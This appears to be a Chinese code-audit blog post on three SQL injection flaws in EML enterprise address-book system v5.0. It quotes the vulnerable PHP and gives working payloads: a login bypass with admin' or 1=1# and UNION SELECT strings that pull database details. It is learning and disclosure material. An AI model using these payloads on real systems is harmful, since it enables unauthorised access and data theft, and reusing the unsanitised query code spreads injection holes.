zoukankan      html  css  js  c++  java
  • eml 企业通讯录管理系统 v5.0 SQL 注入

    0x00前言

    开始从小的漏洞开始练习,搬运项目地址:

    https://github.com/imsebao/Code-Audit

    0x01

    EML 企业客户关系管理系统,是基于 Linux 开放性内核和 Apache 基础上 Php+Mysql 的智能 B/S 交互式服务系统。

    eml 企业通讯录管理系统 v5.0 登录页面 username 参数 过滤不严导致 sql 注 入。

    WWW/action/action.user.php 文件 第 23 行

    //验证登录
    if($do=="loginok"){
     $name=$_POST[username];
     $pwd=md5($_POST[password]);
     $validate_arr=array($name,$pwd);
     Ifvalidate($validate_arr);
     $sql = "SELECT * from eml_users WHERE username = '$name' AND
    password = '$pwd' limit 1 ";
     $db->query($sql);
     if ($record = $db->fetchRow()){ //登录成功
     $_SESSION['isLogin'] = true;
     $_SESSION['userid'] = $record['id'];
     $_SESSION['uid'] = $record['uid'];
     $_SESSION['username'] = $record['username'];
     $_SESSION['roleid'] = $record['roleid'];
     exit($lang_cn['rabc_login_ok']);
     }
     else
     exit($lang_cn['rabc_login_error']);
     exit;
    }
    

    username 参数没有任何过滤,直接进入 sql 查询 导致 sql 注入漏洞

    **漏洞复现: **
    用户名输入 :admin' or 1=1# 造成万能密码登录。

    还有一个页面同样存在sql注入

    eml 企业通讯录管理系统 v5.0 通讯 录页面 kewords 参数 过滤不严导致 sql 注入。

    WWW/action/action.address.php 文件 第 11 行

    //列表
    if($do==""){
     If_rabc($action,$do); //检测权限
     if($_POST['kewords']){$search .= " and name like
    '%".strip_tags($_POST[kewords])."%'";}
     if($_POST['time_start']!="" && $_POST['time_over']!=""){
     $search .= " and `created_at` >
    '".strtotime($_POST[time_start]." 00:00:00")."' AND `created_at` <
    '".strtotime($_POST[time_over] ." 23:59:59")."'";
     }
     //设置分页
    
    if($_POST[numPerPage]==""){$numPerPage="10";}else{$numPerPage=$_POST[
    numPerPage];}
    
    if($_GET[pageNum]==""||$_GET[pageNum]=="0" ){$pageNum="0";}else{$page
    Num=($_GET[pageNum]-1)*$numPerPage;}
     $num=mysql_query("SELECT * FROM eml_users where 1=1 $search");//
    当前频道条数
     $total=mysql_num_rows($num);//总条数
     $page=new page(array('total'=>$total,'perpage'=>$numPerPage));
     //查询
     $sql="SELECT * FROM eml_users where 1=1 $search order by id desc
    LIMIT $pageNum,$numPerPage";
     //echo $sql;
     $db->query($sql);
     $list=$db->fetchAll();
     //模版
     $smt = new smarty();smarty_cfg($smt);
     $smt->assign('list',$list);
     $smt->assign('numPerPage',$_POST[numPerPage]); //显示条数
     $smt->assign('pageNum',$_GET[pageNum]); //当前页数
     $smt->assign('total',$total); //总条数
     $smt->assign ('page',$page->show());
     $smt->assign('title',"通讯录列表");
     $smt->display('adress_list.html');
     exit;
    }
    

    kewords 参数没有任何过滤,直接进入 sql 查询 导致 sql 注入漏洞

    漏洞复现:
    payload:-1' union select 1,2,3,4,user(),6,7,8,database(),version(),1,2,3,4,5,6#

    再来看一个SQL注入:

    eml 企业通讯录管理系统 v5.0 我的 应用页面 kewords 参数 过滤不严导致 sql 注入。

    WWW/action/action.link.php 文件 第 12 行

    //列表
    if($do=="myLink"){
     If_rabc($action,$do); //检测权限
     if($_POST['kewords']){$search .= " and link_name like
    '%".strip_tags($_POST[kewords])."%'";}
     if($_POST['time_start']!="" && $_POST['time_over']!=""){
     $search .= " and `created_at` >
    '".strtotime($_POST[time_start]." 00:00:00")."' AND `created_at` <
    '".strtotime($_POST[time_over] ." 23:59:59")."'";
     }
     $user_id=$_SESSION['uid'];
     //查询
     $sql="SELECT * FROM `eml_link` where user_id='$uid' $search order
    by id desc";
     //echo $sql;
     $db->query($sql);
     $list=$db->fetchAll();
     //模版
     $smt = new smarty();smarty_cfg($smt);
     $smt->assign('list',$list);
     $smt->assign('title',"应用列表");
     $smt->display('link_list.html');
     exit;
    }
    

    kewords 参数没有任何过滤,直接进入 sql 查询 导致 sql 注入漏洞

    漏洞复现:

    payload:3' union select user(),2,3,version(),database(),6,7#

    emmmm目前看的都是最简单的例子,不太好玩,没有过滤,比我前几天审计的远古cms都简单。后续如果有有趣的会多些点的--

  • 相关阅读:
    多线程中lock用法
    跨域使用Proxy page或Cross Frame
    new 操作符所做的事情
    跨域使用js文件
    跨域使用window.name
    TFS 映射错误( is already mapped in workspace)解决办法
    跨域使用JSONP
    jquery加载页面中的部分内容
    CQRS架构案例Tiny Library CQRS详解:AOP拦截与异常处理
    面向领域驱动架构的查询实现方式
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12392170.html
Copyright © 2011-2022 走看看